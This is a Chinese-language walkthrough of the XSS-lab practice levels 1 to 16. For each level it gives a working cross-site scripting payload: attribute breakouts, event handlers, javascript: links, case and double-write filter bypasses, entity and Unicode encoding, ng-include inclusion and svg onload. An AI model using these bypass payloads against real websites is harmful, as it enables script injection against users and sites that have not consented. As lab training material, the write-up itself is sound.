xss
XSS-lab
Level 1
//反射型xss注入
// JS弹窗函数alert()
遇到?name=test,不妨直接试试
1 | ?name=<script>alert()</script> |
Level 2
同1
查看源码发现<>被编码了,用双引号把左右两边属性的引号和标签闭合即可
1 | "><script>alert()</script>" |
注:
1 | htmlspecialchars()编码 “<” “>” |
Level 3
//使用不带有<>的事件代码,例如:onfocus、onmouseover
先要知道:onfocus 事件在对象获得焦点时发生。 onfocus 通常用于
1 | <input>、<select> 以及<a> |
最简单的实例就是网页上的一个输入框。
猜测后端遇到转换特殊字符为html实体的htmlspecialchars()函数或者str_replace特殊字符删除函数,可以用标签的特殊事件来执行js代码
1 | ' onfocus=javascript:alert() ' ——点击输入框获得焦点 |
Level 4
同3,单引号改为双引号
Level 5
//a标签的href属性
观察发现:
1 | 1、<script>标签会被替换成<scr_ipt> |
所以换一种标签或事件。例如标签
经过一番尝试把他们通通闭合上
1 | "><a href=javascript:alert()>test</a" |
最后点一下蓝色的test即可
Level 6
//大小写绕过
随便放一条语句进去发现过滤了好多东西,绕过试试
1 | "><sCript>alert()</sCript>" |
Level 7
//双写绕过
仍然是随便放一句话进去测试,查看源代码
看这里的最后一行,发现on和script没掉了,用双写绕过,把on和script补回来
1 | " oonnfocus=javascscriptript:alert() " |
Level 8
//href属性自动解析Unicode编码
JavaScript伪协议:
它的功能是将
1 | JavaScript:... |
后面的语句当做JavaScript代码在本页面执行,并不跳转到其他网页,而是结果返回给当前页面。
它经常与a标签一起使用,如:
1 | "><a href=javascript:alert(/xss/)>点击我</a> |
功能是在当前页面弹出一个弹窗。
还是一样测试一下语句,发现把它丢进了一个链接,还过滤了好多,大小写、双写通通失败,于是想到了href能自动解Unicode编码
那就构造一段JavaScript伪协议:
1 | javascript:alert() |
去网站上找个工具编码得到
1 | javascript:alert() |
//html实体编码
测试一个语句,发现ri变成了r_i
试试html实体编码(下面是ri的编码)
1 | ri |
所以最后就是
1 | javascript:alert() |
Level 9
//strpos()函数绕过
不知道为什么别人能看到php的源码,经分析得知上传的语句必须包含”http://“,否则会出现“链接不合法”的提示。
但是我们好像不太需要这个”http://“,所以给他注释掉就行。
1 | javascript:alert()/* http:// */ |
前面一串是js伪协议的unicode编码
Level 10
点进去输入框什么的都没有,于是查看源代码,发现都给他用hidden隐藏起来了,于是回去修改一下网页源代码,把hidden改为text,出现了输入框,但是没得提交,所以想到直接把value的值给改成注入语句。总共有三个嘛,都试一试,发现第三个改好之后就成功了。
Level 11&&12&&13&&14
同10,一模一样的做法都可以做
//14关可能不一样一点,在iframe那里加一句即可。
Level 15
查看源码发现里面出现了ng-include
注:
1 | ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号 |
于是试试能不能包含之前的关卡,用之前 的注入方式通过本关。
选择包含第一关:
1 | ?src='/level1.php' |
成功包含第一关,然后发现第一关最开始的注入方式不能用,可能是网页禁了script,那就换掉
1 | ?src='/level1.php?name=<img src=1 onmouseover=alert()>' |
1 | ?src='level1.php?name=<a href="javascript:alert(/xss/)">xss<a/>' |
Level 16
空格可以用回车来代替绕过
接下来选一个不常用的标签来绕过
1 | ?keyword=<svg%0Aonload=alert()> |
//onload加载完成事件
onload事件是浏览器解析完页面之后就会自动触发的事件。
Level 17之后全需要flash插件,先不做了。